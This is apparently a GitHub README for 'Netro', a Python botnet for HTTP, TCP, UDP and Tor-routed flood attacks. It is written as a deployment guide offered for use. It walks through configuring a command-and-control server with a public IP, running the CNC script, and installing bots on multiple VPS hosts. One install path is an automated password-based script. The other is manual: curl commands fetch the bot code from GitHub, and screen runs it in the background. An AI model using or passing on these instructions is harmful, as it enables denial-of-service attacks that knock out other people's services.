Netro

An EXPERIMENTAL centralized Python botnet that currently supports HTTP, TCP and UDP flood attacks.

Table Of Contents

• Requirements
• Latest Updates
• CNC Installation
  • Windows 10 Source Code Download
  • Linux Source Code Download
  • Setting Up Configuration
  • Preparing The CNC
• Bot Installation
  • Automatic Installation
  • Manual Installation
• Discord / Buy Me A Coffee

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Requirements

• 1 VPS for CNC (please prefer a high-end)
• 1 or as many as you want Ubuntu 24.04 VPS to deploy some bots. Note that they all must have the same password for the automatic installation method.
• Basic understanding in coding.

Latest Updates

• Multiple bot instances to use more available resources.
• Added Tor-TCP, Tor-HCF, Tor-POST and Tor-GET method.

CNC Installation

Please prefer Ubuntu 24.04 as your bot servers.

Install the source code into your computer (not in the server), you can however, if you know how to use Linux terminal text editors such as vim or nano. Any is preferable.

For Windows Users

You may download the source code via the ZIP file.

For Linux Users

For Linux users, you may download the source code via terminal using git command. You may install git into your system and download Netro's source code using the following commands below:

sudo apt install git -y
git clone https://github.com/lilmond/Netro
cd ./Netro

Setting Configuration

You may now edit cnc_config.json. You have two options, either use a text editor GUI such as VS Code or via terminal using vim or nano.

Replace the IP's value to your VPS server's public IP address where you will install your CNC on.

{
    "IP": "68.136.174.102",
    "PORT": 4444
}

Preparing CNC

Now, you can upload netro_cnc.py and cnc_config.json into your VPS.

You can do this using scp command. However, if you have MobaXterm installed, you may just log into your SSH and drag-and-drop both of the files into MobaXterm's server file manager.

Using scp command:

scp netro_cnc.py cnc_config.json root@"cnc server ip":

Replace the "cnc server ip" into your CNC server's public IP, and remove the double quotes.

You may then log into your VPS and run the CNC script.

python3 netro_cnc.py

Great, now that you have the CNC server, you can jump into deploying the bots.

Bot Installation

There are two methods to install the bot, either automatically or manually.

Automatic Installation

In your computer files, open the bot_installer folder or cd into it:

cd ./bot_installer

Edit bot_servers.txt, write down the IP address of the VPS you're deploying the bot into.

Edit bot_password.txt, write down the password of your VPS. Your servers must have the same password if you're doing this on multiple servers.

Run bot_installer.py:

python3 bot_installer.py

Manual Installation

Log into your SSH server and execute the following commands:

# Edit your CNC IP here
echo '{"IP": "53.63.182.235", "PORT": 4444}' > cnc_config.json

curl https://raw.githubusercontent.com/lilmond/Netro/refs/heads/main/netro_bot.py > netro_bot.py
curl https://raw.githubusercontent.com/lilmond/Netro/refs/heads/main/useragents.txt > useragents.txt
curl https://raw.githubusercontent.com/lilmond/Netro/refs/heads/main/bot_manual_requirements.txt > bot_manual_requirements.txt
sudo apt update -y && sudo apt upgrade -y
sudo apt install tor -y
sudo apt install python3.12-venv -y
python3 -m venv venv
source venv/bin/activate
pip install -r bot_manual_requirements.txt
sudo service tor start
screen -d -m python netro_bot.py

Etc

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